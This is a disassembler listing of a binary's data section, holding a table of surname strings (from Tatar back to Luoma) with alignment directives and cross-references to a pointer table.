aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E61Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E618o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E614o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E610o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E60Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E608o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E604o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E600o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5FCo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5F4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5F0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5E4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5E0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5DCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5D4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5D0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5CCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5C4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5C0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5BCo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5B4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5B0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5ACo
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A8o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E5A4o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E5A0o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E59Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E598o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E594o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E590o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E58Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E588o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E584o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E580o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E57Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E578o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E574o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E570o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E56Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E568o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E564o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E560o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E55Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E558o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E554o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E550o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E54Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E548o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E544o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E540o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E53Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E538o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E534o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E530o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E52Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E528o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E524o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E520o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E51Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E518o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E514o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E510o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E50Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E508o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E504o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E500o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4FCo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4F4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4F0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4ECo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4E4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4E0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4DCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4D4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4D0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4CCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4C4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4C0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4BCo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4B4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4B0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4ACo
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A8o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E4A4o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E4A0o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E49Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E498o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E494o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E490o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E48Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E488o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E484o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E480o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E47Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E478o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E474o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E470o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E46Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E468o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E464o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E460o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E45Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E458o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E454o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E450o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E44Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E448o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E444o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E440o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E43Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E438o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E434o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E430o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E42Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E428o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E424o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E420o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E41Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E418o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E414o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E410o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E40Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E408o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E404o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E400o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3FCo
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3F4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3F0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3ECo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3E4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042E3E0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3D4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3D0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3CCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3C4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3C0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3BCo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3B4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3B0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3ACo
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A8o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E3A0o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E39Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E398o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E394o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E390o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E38Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E388o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E384o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E380o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E37Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E378o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E374o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E370o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E36Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E368o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E364o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E360o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E35Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E358o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E354o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E350o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E34Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E348o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E344o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E340o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E33Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E338o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E334o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E330o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E32Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E328o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E324o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E320o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E31Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E318o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E314o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042E310o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E30Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E308o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E304o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E300o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2F4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2F0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2ECo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2E4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2E0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D8o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2D4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2D0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2CCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2C4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2C0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2BCo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2B4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2B0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2ACo
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A8o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E2A4o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E2A0o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E29Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E298o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E294o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E290o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E28Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E288o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E284o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E280o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E27Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E278o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E274o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E270o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E26Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E268o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E264o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E260o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E25Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E258o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E254o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E250o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E24Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E248o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E244o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E240o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E23Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E238o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E234o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E230o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E22Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E228o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E224o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E220o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E21Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E218o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E214o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E210o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E20Co
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E208o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E204o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E200o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1FCo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1F4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1F0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1ECo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1E4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1DCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1D4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1D0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1CCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1C4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1C0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1BCo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1B4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1B0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1ACo
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E1A4o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E1A0o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E19Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E198o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E194o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E190o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E18Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E188o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E184o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E180o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E17Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E178o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E174o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E170o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E16Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E168o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E164o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E160o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E15Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E158o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E154o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E150o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E14Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E148o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E144o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E140o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E13Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E138o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E134o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E130o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E12Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E128o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E124o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E120o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E11Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E118o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E114o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E110o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E10Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E108o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E104o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E100o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0FCo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0F4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0F0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0ECo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0E4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0E0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0DCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0D4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0D0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0CCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0C4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0C0o
aMay		db 'May',0              ; DATA XREF: ___:0042E0BCo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0B4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0B0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0ACo
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A8o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E0A4o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E0A0o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E09Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E098o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E094o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E090o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E08Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E088o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E084o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E080o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E07Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E078o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E074o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E070o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E06Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E068o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E064o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E060o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E05Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E058o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E054o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E050o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E04Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E048o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E044o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E040o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E03Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E038o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E034o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E030o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E02Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E028o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E024o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E020o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E01Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E018o
		align 10h
